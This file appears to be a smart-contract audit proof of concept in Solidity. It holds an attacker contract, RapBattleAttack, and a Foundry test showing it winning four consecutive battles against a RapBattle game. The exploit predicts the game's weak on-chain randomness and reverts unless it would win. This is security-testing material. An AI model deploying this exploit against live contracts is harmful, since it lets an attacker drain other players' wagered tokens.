pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IRapBattle {
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external;
function getRapperSkill(
uint256 _tokenId
) external view returns (uint256 finalSkill);
function defenderBet() external returns (uint256);
function defenderTokenId() external returns (uint256);
}
interface IStreets {
function stake(uint256 tokenId) external;
function unstake(uint256 tokenId) external;
}
interface IOneShot {
function mintRapper() external;
function approve(address to, uint256 tokenId) external;
}
interface ICredToken {
function approve(address to, uint256 amount) external;
}
contract RapBattleAttack {
IRapBattle rapBattle;
IStreets streets;
IOneShot oneShot;
ICredToken credToken;
constructor(
address _rapBattle,
address _streets,
address _oneShot,
address _credToken
) {
rapBattle = IRapBattle(_rapBattle);
streets = IStreets(_streets);
oneShot = IOneShot(_oneShot);
credToken = ICredToken(_credToken);
}
function mint() external {
oneShot.mintRapper();
}
function stake(uint256 tokenId) external {
oneShot.approve(address(rapBattle), tokenId);
streets.stake(tokenId);
}
function unstake(uint256 tokenId) external {
streets.unstake(tokenId);
}
function attack(uint256 _tokenId) external returns (bool) {
uint256 _credBet = rapBattle.defenderBet();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(
rapBattle.defenderTokenId()
);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
address(this)
)
)
) % totalBattleSkill;
if (random > defenderRapperSkill) {
rapBattle.goOnStageOrBattle(_tokenId, _credBet);
return true;
} else revert();
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
function testRapBattleAttack4ConsecutiveWin() public mintRapper {
RapBattleAttack attack;
attack = new RapBattleAttack(
address(rapBattle),
address(streets),
address(oneShot),
address(cred)
);
vm.startPrank(user);
cred.approve(address(rapBattle), 10);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1);
streets.unstake(0);
vm.stopPrank();
vm.startPrank(challenger);
attack.mint();
vm.stopPrank();
uint256 consecutiveWin;
uint256 credBet = 1;
while (consecutiveWin != 4) {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
vm.startPrank(challenger);
if (attack.attack(1) == true) {
++consecutiveWin;
}
}
assert(cred.balanceOf(address(attack)) == 4);
}